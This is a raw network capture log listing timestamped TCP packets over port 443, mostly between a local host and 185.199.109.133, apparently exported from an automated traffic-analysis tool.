Dec 10, 2024 07:35:20.007951021 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.007998943 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.011874914 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.011895895 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.011989117 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.012003899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.012048006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.017244101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.017262936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.017362118 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.017380953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.017419100 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.021625996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.021642923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.021739006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.021759033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.021800995 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.075047016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.075073957 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.075267076 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.075308084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.075359106 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.079535961 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.079552889 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.079670906 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.079679966 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.079720020 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.189841986 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.189879894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.189934969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.189963102 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.190004110 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.190017939 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.194777966 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.194801092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.194921970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.194948912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.194992065 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.199773073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.199831009 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.199958086 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.199986935 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.200031042 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.204055071 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.204073906 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.204175949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.204197884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.204245090 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.209420919 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.209439039 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.209513903 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.209532976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.209554911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.209570885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.213778973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.213798046 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.213886023 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.213908911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.213949919 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.267772913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.267807007 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.267919064 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.267945051 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.267988920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.272986889 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.273015976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.273106098 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.273122072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.273139000 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.273169994 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.382145882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.382174969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.382327080 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.382359028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.382405996 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.387063026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.387083054 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.387181997 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.387200117 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.387243032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.391999006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.392024040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.392101049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.392122030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.392148972 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.392158031 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.397078037 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.397099018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.397177935 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.397196054 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.397213936 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.397239923 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.401722908 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.401741028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.401849985 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.401868105 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.401913881 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.406069040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.406088114 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.406320095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.406336069 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.406387091 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.460038900 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.460076094 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.460122108 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.460153103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.460182905 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.460206032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.464956045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.464987993 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.465034008 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.465055943 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.465086937 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.465106010 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.575076103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.575103045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.575176954 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.575207949 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.575253963 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.579396009 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.579432011 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.579478025 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.579493046 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.579511881 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.579531908 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.584314108 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.584347963 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.584389925 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.584408045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.584434986 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.584450960 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.589312077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.589329004 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.589382887 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.589400053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.589431047 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.589447975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.593959093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.593976974 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.594041109 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.594054937 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.594094992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.598975897 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.599021912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.599073887 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.599093914 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.599112988 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.599143028 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.652549028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.652579069 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.652625084 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.652642965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.652688980 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.657213926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.657238960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.657325029 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.657325029 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.657351971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.657438040 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.767373085 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.767398119 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.767462015 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.767494917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.767533064 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.771769047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.771790028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.771889925 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.771914959 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.771955013 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.776578903 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.776601076 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.776642084 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.776669025 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.776686907 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.776706934 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.781543016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.781573057 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.781632900 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.781656027 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.781703949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.786235094 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.786262989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.786360979 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.786381006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.786422014 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.791300058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.791340113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.791373014 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.791393995 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.791413069 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.791429996 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.844657898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.844688892 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.844743013 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.844775915 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.844799995 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.844818115 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.849572897 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.849606991 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.849646091 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.849672079 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.849704981 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.849718094 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.925474882 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:20.926244974 CET	49737	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:20.926270008 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:20.926379919 CET	49737	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:20.926384926 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:20.959148884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.959178925 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.959295034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.959333897 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.959381104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.963953018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.963994980 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.964045048 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.964071035 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.964092970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.964171886 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.968980074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.969011068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.969114065 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.969141960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.969180107 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.973414898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.973438978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.973500967 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.973526001 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.973568916 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.978693008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.978720903 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.978811979 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.978835106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.978878975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.985393047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.985415936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.985521078 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:20.985544920 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:20.985590935 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.037205935 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.037276030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.037375927 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.037415028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.037439108 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.038033962 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.042252064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.042303085 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.042402983 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.042426109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.042442083 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.042474985 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.151854038 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.151887894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.152024031 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.152064085 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.152112007 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.156263113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.156291008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.156375885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.156398058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.156436920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.161328077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.161358118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.161444902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.161464930 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.161505938 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.166098118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.166119099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.166228056 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.166244984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.166290045 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.170897007 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.170927048 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.171017885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.171036005 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.171076059 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.175801039 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.175836086 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.175959110 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.175976992 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.176013947 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.229327917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.229360104 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.229479074 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.229506016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.229547977 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.234421968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.234452963 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.234549046 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.234568119 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.234606981 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.343986034 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.344019890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.344161034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.344189882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.344230890 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.348980904 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.349026918 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.349134922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.349157095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.349196911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.353367090 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.353399992 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.353494883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.353511095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.353549957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.358251095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.358280897 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.358371019 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.358387947 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.358397961 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.362063885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.363287926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.363336086 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.363450050 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.363464117 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.366099119 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.368017912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.368047953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.368139029 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.368153095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.368192911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.422221899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.422262907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.422413111 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.422441006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.422482014 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.426645041 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.426676035 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.426723003 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.426738024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.426757097 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.426816940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.536187887 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.536217928 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.536289930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.536323071 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.536432028 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.541162014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.541193962 CET	443	49720	185.199.109.133	192.168.2.5
